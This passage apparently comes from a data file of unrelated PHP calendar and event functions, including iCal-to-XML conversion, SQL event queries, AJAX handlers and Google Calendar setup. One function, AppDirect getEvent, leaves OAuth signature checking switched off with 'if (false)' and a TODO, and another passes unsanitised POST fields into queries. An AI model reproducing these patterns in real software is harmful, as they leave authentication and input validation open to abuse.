$content['value']['tz'];\n\t\t\t\t\t\t\t\t\tunset($content['value']['tz']);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tunset($content['params']['VALUE']);\n\t\t\t\t\t\t\tif (( isset($content['params']['TZID']) && empty($content['params']['TZID'])) || @is_null($content['params']['TZID']))\n\t\t\t\t\t\t\t\tunset($content['params']['TZID']);\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, $type, $content['value'], $content['params']);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tunset($utcDate);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'duration':\n\t\t\t\t\t\tif (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE)))\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'duration', $content['value'], $content['params']);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'rrule':\n\t\t\t\t\t\twhile (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE)))\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'recur', $content['value'], $content['params']);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'class':\n\t\t\t\t\tcase 'location':\n\t\t\t\t\tcase 'status':\n\t\t\t\t\tcase 'summary':\n\t\t\t\t\tcase 'transp':\n\t\t\t\t\tcase 'tzid':\n\t\t\t\t\tcase 'uid':\n\t\t\t\t\t\tif (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\tif ((( 'location' == $prop ) || ( 'summary' == $prop )) && !isset($content['params']['LANGUAGE'])) {\n\t\t\t\t\t\t\t\tif ($langComp)\n\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langComp;\n\t\t\t\t\t\t\t\telseif ($langCal)\n\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langCal;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'text', $content['value'], $content['params']);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'geo':\n\t\t\t\t\t\tif (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE)))\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'geo', $content['value'], $content['params']);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'organizer':\n\t\t\t\t\t\tif (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\tif (isset($content['params']['CN']) && !isset($content['params']['LANGUAGE'])) {\n\t\t\t\t\t\t\t\tif ($langComp)\n\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langComp;\n\t\t\t\t\t\t\t\telseif ($langCal)\n\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langCal;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'cal-address', $content['value'], $content['params']);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'percent-complete':\n\t\t\t\t\tcase 'priority':\n\t\t\t\t\tcase 'sequence':\n\t\t\t\t\t\tif (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE)))\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'integer', $content['value'], $content['params']);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'tzurl':\n\t\t\t\t\tcase 'url':\n\t\t\t\t\t\tif (FALSE !== ( $content = $component->getProperty($prop, FALSE, TRUE)))\n\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'uri', $content['value'], $content['params']);\n\t\t\t\t\t\tbreak;\n\t\t\t\t} // end switch( $prop )\n\t\t\t} // end foreach( $props as $prop )\n\t\t\t/** fix subComponent properties, if any */\n\t\t\tforeach ($subComps as $subCompName) {\n\t\t\t\twhile (FALSE !== ( $subcomp = $component->getComponent($subCompName))) {\n\t\t\t\t\t$child2 = $child->addChild($subCompName);\n\t\t\t\t\t$properties = $child2->addChild('properties');\n\t\t\t\t\t$langComp = $subcomp->getConfig('language');\n\t\t\t\t\tforeach ($subCompProps as $prop) {\n\t\t\t\t\t\tswitch ($prop) {\n\t\t\t\t\t\t\tcase 'attach': // may occur multiple times, below\n\t\t\t\t\t\t\t\twhile (FALSE !== ( $content = $subcomp->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\t\t\t$type = ( isset($content['params']['VALUE']) && ( 'BINARY' == $content['params']['VALUE'] )) ? 'binary' : 'uri';\n\t\t\t\t\t\t\t\t\tunset($content['params']['VALUE']);\n\t\t\t\t\t\t\t\t\t_addXMLchild($properties, $prop, $type, $content['value'], $content['params']);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'attendee':\n\t\t\t\t\t\t\t\twhile (FALSE !== ( $content = $subcomp->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\t\t\tif (isset($content['params']['CN']) && !isset($content['params']['LANGUAGE'])) {\n\t\t\t\t\t\t\t\t\t\tif ($langComp)\n\t\t\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langComp;\n\t\t\t\t\t\t\t\t\t\telseif ($langCal)\n\t\t\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langCal;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'cal-address', $content['value'], $content['params']);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'comment':\n\t\t\t\t\t\t\tcase 'tzname':\n\t\t\t\t\t\t\t\twhile (FALSE !== ( $content = $subcomp->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\t\t\tif (!isset($content['params']['LANGUAGE'])) {\n\t\t\t\t\t\t\t\t\t\tif ($langComp)\n\t\t\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langComp;\n\t\t\t\t\t\t\t\t\t\telseif ($langCal)\n\t\t\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langCal;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'text', $content['value'], $content['params']);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'rdate':\n\t\t\t\t\t\t\t\twhile (FALSE !== ( $content = $subcomp->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\t\t\t$type = 'date-time';\n\t\t\t\t\t\t\t\t\tif (isset($content['params']['VALUE'])) {\n\t\t\t\t\t\t\t\t\t\tif ('DATE' == $content['params']['VALUE'])\n\t\t\t\t\t\t\t\t\t\t\t$type = 'date';\n\t\t\t\t\t\t\t\t\t\telseif ('PERIOD' == $content['params']['VALUE'])\n\t\t\t\t\t\t\t\t\t\t\t$type = 'period';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif ('period' == $type) {\n\t\t\t\t\t\t\t\t\t\tforeach ($content['value'] as & $rDates) {\n\t\t\t\t\t\t\t\t\t\t\tif (( isset($rDates[0]['tz']) && // fix UTC-date if offset set\n\t\t\t\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($rDates[0]['tz']) &&\n\t\t\t\t\t\t\t\t\t\t\t\t\t( 'Z' != $rDates[0]['tz'] ))\n\t\t\t\t\t\t\t\t\t\t\t\t\t|| ( isset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t\t\t\t( 'Z' != $content['params']['TZID'] ))) {\n\t\t\t\t\t\t\t\t\t\t\t\t$offset = isset($rDates[0]['tz']) ? $rDates[0]['tz'] : $content['params']['TZID'];\n\t\t\t\t\t\t\t\t\t\t\t\t$date = mktime((int) $rDates[0]['hour'], (int) $rDates[0]['min'], (int) ($rDates[0]['sec'] + iCalUtilityFunctions::_tz2offset($offset)), (int) $rDates[0]['month'], (int) $rDates[0]['day'], (int) $rDates[0]['year']);\n\t\t\t\t\t\t\t\t\t\t\t\tunset($rDates[0]['tz']);\n\t\t\t\t\t\t\t\t\t\t\t\t$rDates[0] = iCalUtilityFunctions::_date_time_string(date('YmdTHis\\Z', $date), 6);\n\t\t\t\t\t\t\t\t\t\t\t\tunset($rDates[0]['unparsedtext']);\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tif (isset($rDates[1]['year'])) {\n\t\t\t\t\t\t\t\t\t\t\t\tif (( isset($rDates[1]['tz']) && // fix UTC-date if offset set\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($rDates[1]['tz']) &&\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t( 'Z' != $rDates[1]['tz'] ))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t|| ( isset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t( 'Z' != $content['params']['TZID'] ))) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t$offset = isset($rDates[1]['tz']) ? $rDates[1]['tz'] : $content['params']['TZID'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t$date = mktime((int) $rDates[1]['hour'], (int) $rDates[1]['min'], (int) ($rDates[1]['sec'] + iCalUtilityFunctions::_tz2offset($offset)), (int) $rDates[1]['month'], (int) $rDates[1]['day'], (int) $rDates[1]['year']);\n\t\t\t\t\t\t\t\t\t\t\t\t\tunset($rDates[1]['tz']);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$rDates[1] = iCalUtilityFunctions::_date_time_string(date('YmdTHis\\Z', $date), 6);\n\t\t\t\t\t\t\t\t\t\t\t\t\tunset($rDates[1]['unparsedtext']);\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t} elseif ('date-time' == $type) {\n\t\t\t\t\t\t\t\t\t\tforeach ($content['value'] as & $rDate) {\n\t\t\t\t\t\t\t\t\t\t\tif (( isset($rDate['tz']) && // fix UTC-date if offset set\n\t\t\t\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($rDate['tz']) &&\n\t\t\t\t\t\t\t\t\t\t\t\t\t( 'Z' != $rDate['tz'] ))\n\t\t\t\t\t\t\t\t\t\t\t\t\t|| ( isset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t\t\t\tiCalUtilityFunctions::_isOffset($content['params']['TZID']) &&\n\t\t\t\t\t\t\t\t\t\t\t\t\t( 'Z' != $content['params']['TZID'] ))) {\n\t\t\t\t\t\t\t\t\t\t\t\t$offset = isset($rDate['tz']) ? $rDate['tz'] : $content['params']['TZID'];\n\t\t\t\t\t\t\t\t\t\t\t\t$date = mktime((int) $rDate['hour'], (int) $rDate['min'], (int) ($rDate['sec'] + iCalUtilityFunctions::_tz2offset($offset)), (int) $rDate['month'], (int) $rDate['day'], (int) $rDate['year']);\n\t\t\t\t\t\t\t\t\t\t\t\tunset($rDate['tz']);\n\t\t\t\t\t\t\t\t\t\t\t\t$rDate = iCalUtilityFunctions::_date_time_string(date('YmdTHis\\Z', $date), 6);\n\t\t\t\t\t\t\t\t\t\t\t\tunset($rDate['unparsedtext']);\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tunset($content['params']['VALUE']);\n\t\t\t\t\t\t\t\t\t_addXMLchild($properties, $prop, $type, $content['value'], $content['params']);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'x-prop':\n\t\t\t\t\t\t\t\twhile (FALSE !== ( $content = $subcomp->getProperty($prop, FALSE, TRUE)))\n\t\t\t\t\t\t\t\t\t_addXMLchild($properties, $content[0], 'unknown', $content[1]['value'], $content[1]['params']);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'action': // single occurence below, if set\n\t\t\t\t\t\t\tcase 'description':\n\t\t\t\t\t\t\tcase 'summary':\n\t\t\t\t\t\t\t\tif (FALSE !== ( $content = $subcomp->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\t\t\tif (( 'action' != $prop ) && !isset($content['params']['LANGUAGE'])) {\n\t\t\t\t\t\t\t\t\t\tif ($langComp)\n\t\t\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langComp;\n\t\t\t\t\t\t\t\t\t\telseif ($langCal)\n\t\t\t\t\t\t\t\t\t\t\t$content['params']['LANGUAGE'] = $langCal;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'text', $content['value'], $content['params']);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'dtstart':\n\t\t\t\t\t\t\t\tif (FALSE !== ( $content = $subcomp->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\t\t\tunset($content['value']['tz'], $content['params']['VALUE']); // always local time\n\t\t\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'date-time', $content['value'], $content['params']);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'duration':\n\t\t\t\t\t\t\t\tif (FALSE !== ( $content = $subcomp->getProperty($prop, FALSE, TRUE)))\n\t\t\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'duration', $content['value'], $content['params']);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'repeat':\n\t\t\t\t\t\t\t\tif (FALSE !== ( $content = $subcomp->getProperty($prop, FALSE, TRUE)))\n\t\t\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'integer', $content['value'], $content['params']);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'trigger':\n\t\t\t\t\t\t\t\tif (FALSE !== ( $content = $subcomp->getProperty($prop, FALSE, TRUE))) {\n\t\t\t\t\t\t\t\t\tif (isset($content['value']['year']) &&\n\t\t\t\t\t\t\t\t\t\t\tisset($content['value']['month']) &&\n\t\t\t\t\t\t\t\t\t\t\tisset($content['value']['day']))\n\t\t\t\t\t\t\t\t\t\t$type = 'date-time';\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t$type = 'duration';\n\t\t\t\t\t\t\t\t\t_addXMLchild($properties, $prop, $type, $content['value'], $content['params']);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'tzoffsetto':\n\t\t\t\t\t\t\tcase 'tzoffsetfrom':\n\t\t\t\t\t\t\t\tif (FALSE !== ( $content = $subcomp->getProperty($prop, FALSE, TRUE)))\n\t\t\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'utc-offset', $content['value'], $content['params']);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'rrule':\n\t\t\t\t\t\t\t\twhile (FALSE !== ( $content = $subcomp->getProperty($prop, FALSE, TRUE)))\n\t\t\t\t\t\t\t\t\t_addXMLchild($properties, $prop, 'recur', $content['value'], $content['params']);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t} // switch( $prop )\n\t\t\t\t\t} // end foreach( $subCompProps as $prop )\n\t\t\t\t} // end while( FALSE !== ( $subcomp = $component->getComponent( subCompName )))\n\t\t\t} // end foreach( $subCombs as $subCompName )\n\t\t} // end while( FALSE !== ( $component = $calendar->getComponent( $compName )))\n\t} // end foreach( $comps as $compName)\n\treturn $xml->asXML();\n}", "function hookAjaxGetEvents() {\n\n\t \t$start = intval($_POST['start']);\n\t \t$end = intval($_POST['end']);\n\n\t \t$args['datefrom'] = $start;\n\t \t$args['dateto'] = $end;\n\t \t$args['datemode'] = FSE_DATE_MODE_ALL;\n\t \t$args['number'] = 0; // Do not limit!\n\n\t \tif (isset($_POST['state']))\n\t \t$args['state'] = $_POST['state'];\n\t \tif (isset($_POST['author']))\n\t \t$args['author'] = $_POST['author'];\n\t \tif (isset($_POST['categories']))\n\t \t$args['categories'] = $_POST['categories'];\n\t \tif (isset($_POST['include']))\n\t \t$args['include'] = $_POST['include'];\n\t \tif (isset($_POST['exclude']))\n\t \t$args['exclude'] = $_POST['exclude'];\n\t \t$events = $this->getEventsExternal($args);\n\n\t \t// Process array of events\n\t \t$events_out = array();\n\t \tforeach($events as $evt) {\n\t \t\tunset($e);\n\t \t\t$e['id'] = $evt->eventid;\n\t \t\t$e['post_id'] = $evt->postid;\n\t \t\t$e['post_url'] = (empty($evt->postid) ? '' : get_permalink($evt->postid));\n\t \t\t$e['title'] = $evt->subject;\n\t \t\t$e['allDay'] = ($evt->allday == true ? true : false);\n\t \t\t$e['start'] = mysql2date('c', $evt->from);\n\t \t\t$e['end'] = mysql2date('c', $evt->to);\n\t \t\t$e['editable'] = false;\n\n\t \t\t$classes = array();\n\t \t\tforeach($evt->categories as $c) {\n\t \t\t\t$classes[] = 'category-'.$c;\n\t \t\t}\n\t \t\tif (count($classes) > 0) {\n\t \t\t\t$e['className'] = $classes;\n\t \t\t}\n\t \t\t\n\t \t\t$events_out[] = $e;\n\t \t}\n\n\t \t$response = json_encode($events_out);\n\n\t \theader(\"Content-Type: application/json\");\n\t \techo $response;\n\n\t \texit;\n\t }", "function fetch_events($event_id=SELECT_ALL_EVENTS, $sdate_time=MIN_DATE_TIME, $edate_time=MAX_DATE_TIME,\n\t\t$date_time_option=SELECT_DT_BOTH, $privacy=PRIVACY_ALL, $tag_name=NULL) {\n\tglobal $cxn;\n\t// Initialize variables\n\t$ret_events= NULL;\n\t\n\t$errArr=init_errArr(__FUNCTION__);\n\ttry {\n\t\t// initialize variables\n\t\t$where = ZERO_LENGTH_STRING;\n\t\t$param_types = ZERO_LENGTH_STRING;\n\t\t$param_values = array();\n\t\t$sql_and = \" \"; \n\t\t// Set up event id selection\n\t\tif ($event_id != NULL AND $event_id != SELECT_ALL_EVENTS) {\n\t\t\t$where = $where . $sql_and . \" eID = ? \";\n\t\t\t$sql_and = \" AND \"; // set up \"AND\" value tobe used in following settings\n\t\t\t$param_types = $param_types . \"i\"; // add parameter type\n\t\t\t$param_values [] = $event_id; // add parameter value\n\t\t}\n\t\t// Set up date and time selection\n\t\tif (($sdate_time != NULL AND $sdate_time != MIN_DATE_TIME) OR\n\t\t\t\t($edate_time != NULL AND $edate_time != MAX_DATE_TIME)) {\n\t\t\t// Check and set up if need to compare both (start and end time) or just start or end time\n\t\t\t// Set up Start date\n\t\t\tif ($date_time_option == SELECT_DT_START) {\n\t\t\t\t$where = $where . $sql_and .\n\t\t\t\t\" (sdate_time BETWEEN ? AND ? ) \";\n\t\t\t\t$param_types = $param_types . \"ss\"; // add parameter type\n\t\t\t\tarray_push($param_values, $sdate_time, $edate_time); // add parameter value\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// Set up end date\n\t\t\t\tif ($date_time_option == SELECT_DT_END) {\n\t\t\t\t\t$where = $where . $sql_and .\n\t\t\t\t\t\" (edate_time BETWEEN ? AND ? ) \";\n\t\t\t\t\t$param_types = $param_types . \"ss\"; // add parameter type\n\t\t\t\t\tarray_push($param_values, $sdate_time, $edate_time); // add parameter value\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$where = $where . $sql_and .\n\t\t\t\t\t\" ( (sdate_time BETWEEN ? AND ? )\"\n\t\t\t\t\t\t\t. \" OR \" .\n\t\t\t\t\t\t\t\" (edate_time BETWEEN ? AND ? ) )\";\n\t\t\t\t\t$param_types = $param_types . \"ssss\"; // add parameter type\n\t\t\t\t\tarray_push($param_values,$sdate_time, $edate_time, $sdate_time, $edate_time); // add parameter value\n\t\t\t\t}\n\t\t\t}\n\t\t\t$sql_and = \" AND \"; // set up \"AND\" value tobe used in following settings\n\t\t}\n\t\t\n\t\t// Set up privacy \n\t\tif ($privacy != NULL AND $privacy != PRIVACY_ALL) {\n\t\t\t$where = $where . $sql_and . \" privacy = ? \";\n\t\t\t$sql_and = \" AND \"; // set up \"AND\" value tobe used in following settings\n\t\t\t$param_types = $param_types . \"s\"; // add parameter type\n\t\t\t$param_values [] = $privacy; // add parameter value\n\t\t}\n\t\t//\n\t\t//\n\t\tif ($tag_name != NULL) {\n\t\t\t$where = $where . $sql_and . \" ( tag_1=? OR tag_2=? OR tag_3=? OR tag_4=? OR tag_5=? OR tag_6=? ) \";\n\t\t\t$sql_and = \" AND \"; // set up \"AND\" value tobe used in following settings\n\t\t\t$i = 0;\n\t\t\tdo {\n\t\t\t\t$param_types = $param_types . \"s\" ; // add parameter type\n\t\t\t\t$param_values [] = $tag_name; // add parameter value\n\t\t\t\t$i++;\n\t\t\t} while ($i < 6);\n\t\t}\n\t\t// Add WHERE keyword\n\t\tif (trim($where) !== ZERO_LENGTH_STRING) {\n\t\t\t$where = \" WHERE \" . $where;\n\t\t}\n\t\t// build sqlstring \n\t\t$sqlString = \n\t\t \"SELECT * FROM events_all_v \"\n\t\t \t\t. $where .\n\t\t \" ORDER BY sdate_time, edate_time, eID\";\n\t\t// prepare statement\n\t\t$stmt = $cxn->prepare($sqlString);\n\t\t\t\t\n\t\t// bind parameters\n\t\t// Create array of types and their values\n\t\t$params=array_merge( array($param_types), $param_values);\n\t\t\n\t\tif (count($param_values) > 0) {\n\t\t\tcall_user_func_array ( array($stmt, \"bind_param\"), ref_values($params) );\n\t\t}\n\t\t// execute statement\n\t\t$stmt->execute();\n\t\t// Store result\n\t\t/* Bind results to variables */\n\t\tbind_array($stmt, $row);\n\t\twhile ($stmt->fetch()) {\n\t\t\t$ret_events[]=cvt_to_key_values($row);\n\t\t}\n\t}\n\tcatch (mysqli_sql_exception\t$err)\n\t{\n\t\t// Error settings\n\t\t$err_code=1;\n\t\t$err_descr=\"Error selecting events, event id: \" . $event_id .\n\t\t\" Date time: \" . $start_date_time . \" \" . $end_date_time .\n\t\t\" Date time option: \" . $date_time_option . \" privacy: \" . $privacy;\n\t\tset_errArr($err, $err_code, $err_descr, $errArr);\n\t}\n\t// Return Error code\n\t$errArr[ERR_AFFECTED_ROWS] = $cxn->affected_rows;\n\t$errArr[ERR_SQLSTATE] = $cxn->sqlstate;\n\t$errArr[ERR_SQLSTATE_MSG] = $cxn->error;\n\treturn array($errArr, $ret_events);\n}", "public function event(): EventDispatcherInterface;", "function __construct() {\n $this->client = new \\Google_Client();\n $this->client->setApplicationName(\"AIQ-CRM\");\n $this->client->setClientId(Config::get('google.calendar.client_id'));\n $this->client->setClientSecret(Config::get('google.calendar.client_secret'));\n $this->client->setRedirectUri(Config::get('google.calendar.redirect_uri'));\n $this->client->setAccessType('offline');\n $this->client->addScope(\"https://www.googleapis.com/auth/calendar\");\n //\n //\n $this->service = new \\Google_Service_Calendar($this->client);\n }", "function loadEvent($id) {\n\n if (!is_int($id)) {\n return FALSE;\n }\n\n $filter = $this->databaseGetSQLCondition('e.event_id', $id);\n\n $sql = \"\n SELECT\n c.calendar_id aS calendar_id, c.title AS calendar_title,\n c.color AS calendar_color, c.surfer_id,\n s.surfer_handle AS surfer_handle,\n e.event_id, e.calendar_id,\n e.title, e.location, e.description,\n e.start_stamp, e.end_stamp,\n e.recurrence,\n e.recur_yearly_interval,\n e.recur_monthly_interval, e.recur_monthly_count, e.recur_monthly_byweekday,\n e.recur_weekly_interval,\n e.recur_daily_interval,\n e.recur_end,\n w.recur_weekly_weekday,\n y.recur_yearly_month\n FROM %s AS e\n LEFT JOIN %s AS c ON (e.calendar_id = c.calendar_id)\n LEFT JOIN %s AS w ON (e.event_id = w.event_id)\n LEFT JOIN %s AS y ON (e.event_id = y.event_id)\n LEFT JOIN %s AS s ON (c.surfer_id = s.surfer_id)\n WHERE $filter\n \";\n $params = array(\n $this->tableEvents,\n $this->tableCalendars,\n $this->tableRecurrenceWeekdays,\n $this->tableRecurrenceMonths,\n $this->tableSurfers\n );\n\n $result = $this->databaseQueryFmt($sql, $params);\n\n if (!$result) {\n return FALSE;\n }\n\n $event = $this->_processDatabaseResult($result);\n\n if (count($event) != 1) {\n return FALSE;\n }\n\n return reset($event);\n }", "public function getEvent($eventUrl)\n\t{\n\t\t// The given $eventUrl could, in legacy code, actually be a token instead\n\t\tif (!$this->connector->isEventUrl($eventUrl))\n\t\t{\n\t\t\t// This is an old-style token. Properly path it.\n\t\t\t$eventUrl = 'events/'. $eventUrl;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// The Event is using the new distributed API, and we're given an EventUrl\n\t\t\t$eventUrl = urldecode($eventUrl);\n\n\t\t\t// Verify the OAuth signature of the call\n\t\t\t//\n\t\t\t// Todo: This can be deferred to get the wrapper functional, but MUST be done!\n\t\t\t// Maybe see: OAuthSignatureMethod_HMAC_SHA1::check_signature()?\n\t\t\t// Should be a library call, not a local method implementation\n\t\t\tif (false)\n\t\t\t{\n\t\t\t\t$error = array('error' => 'The request did not validate using AppDirect OAuth signatures');\n\t\t\t\tthrow new AppDirectValidationException('401', $error);\n\t\t\t}\n\t\t}\n\n\t\t// GET the event from the provided $eventUrl using a OAuth-signed request\n\t\treturn new AppDirectEvent($this->connector->get($eventUrl));\n\t}", "function Ical(){\n\t\tparent::__construct();\n\t\t\n\t}", "Public function getEvents()\n\t{\n\t\t$result=$this->M_calendar->getEvents();\n\t\techo json_encode($result);\n\t}", "public function updateEvent()\n {\n $result = $this->_signedResponse($this->vars->cal);\n\n if (!($kronolith_driver = $this->_getDriver($this->vars->cal)) ||\n !isset($this->vars->id)) {\n return $result;\n }\n\n try {\n $oevent = $kronolith_driver->getEvent($this->vars->id);\n } catch (Exception $e) {\n $GLOBALS['notification']->push($e, 'horde.error');\n return $result;\n }\n if (!$oevent) {\n $GLOBALS['notification']->push(_(\"The requested event was not found.\"), 'horde.error');\n return $result;\n } elseif (!$oevent->hasPermission(Horde_Perms::EDIT)) {\n $GLOBALS['notification']->push(_(\"You do not have permission to edit this event.\"), 'horde.warning');\n return $result;\n }\n\n $attributes = Horde_Serialize::unserialize($this->vars->att, Horde_Serialize::JSON);\n\n // If this is a recurring event, need to create an exception.\n if ($oevent->recurs()) {\n $this->_addException($oevent, $attributes);\n $event = $this->_copyEvent($oevent, null, $attributes);\n } else {\n $event = clone($oevent);\n }\n\n foreach ($attributes as $attribute => $value) {\n switch ($attribute) {\n case 'start':\n $newDate = new Horde_Date($value);\n $newDate->setTimezone($event->start->timezone);\n $event->start = clone($newDate);\n break;\n\n case 'end':\n $newDate = new Horde_Date($value);\n $newDate->setTimezone($event->end->timezone);\n $event->end = clone($newDate);\n if ($event->end->hour == 23 &&\n $event->end->min == 59 &&\n $event->end->sec == 59) {\n $event->end->mday++;\n $event->end->hour = $event->end->min = $event->end->sec = 0;\n }\n break;\n\n case 'offDays':\n $event->start->mday += $value;\n $event->end->mday += $value;\n break;\n\n case 'offMins':\n $event->start->min += $value;\n $event->end->min += $value;\n break;\n }\n }\n\n $result = $this->_saveEvent($event, ($oevent->recurs() ? $oevent : null), $attributes);\n if ($this->vars->u) {\n Kronolith::sendITipNotifications($event, $GLOBALS['notification'], Kronolith::ITIP_REQUEST);\n }\n\n return $result;\n }", "function generateAPIUrl() {\n return \"https://www.googleapis.com/calendar/v3/calendars/\". calendarId .\"/events?singleEvents=true&timeMax=\". timeMax .\"&timeMin=\". timeMin .\"&key=\". API_KEY;\n}", "public function testGetPayrollCalendar()\n {\n }", "function rst_manage_seats_moncalender()\n{\n require_once('inc/inc.fullcalendar.php');\n}", "function getHomeCalendar()\n {\n $intYear = (isset($_GET['yearID'])) ? intval($_GET['yearID']) : date('Y', time());\n $intMonth = (isset($_GET['monthID'])) ? intval($_GET['monthID']) : date('m', time());\n $intDay = (isset($_GET['dayID'])) ? intval($_GET['dayID']) : 0;\n return $this->getCalendar($intYear,$intMonth,$intDay);\n }", "public function indexAction()\n {\n\ttry {\n \t// print_r($this->getRequest()->getQuery());\n\t\t\n $sE = new \\CL\\Service\\Entity\\CLServiceEntity($this->getRequest()->getQuery());\n\n $s = new \\CL\\Service\\CLService($sE);\n\t\t$startdate = strtotime(\"-2 day\") * 1000;\n\t\t$enddate = strtotime(\"+30 day\") * 1000;\n\t\t// print_r($startdate);\n\t\t// print_r(\"\\n\");\n\t\t// print_r($enddate);\n $wasSuccessful = $s->queryEventsAPI($startdate, $enddate);\n \t\n \n if ($wasSuccessful) {\n\t $result = new JsonModel(array(\n \t\t\t'success'=>true,\n \t\t));\n } else {\n\t $result = new JsonModel(array(\n \t\t\t'success'=>false,\n \t\t));\n }\n \n return $result;\n \n } catch(\\Exception $e)\n\t {\n\t throw new ControllerException('Error Submitting Events API Request', $e);\n\t }\n }", "public function find($id) {\n $sql = \"select * from eventtype where num_ET=?\";\n $row = $this->getDb()->fetchAssoc($sql, array($id));\n\n if ($row)\n return $this->buildDomainObject($row);\n else\n throw new \\Exception(\"No type matching id \" . $id);\n }", "protected function get_calendar_event($type, $userid = null) {\n global $CFG, $DB;\n require_once($CFG->dirroot.'/calendar/lib.php');\n\n $params = array(\n \"modulename\" => \"mumie\",\n \"instance\" => $this->mumie->id,\n \"eventtype\" => $type\n );\n\n if ($userid) {\n $params[\"userid\"] = $userid;\n }\n $oldeventdata = 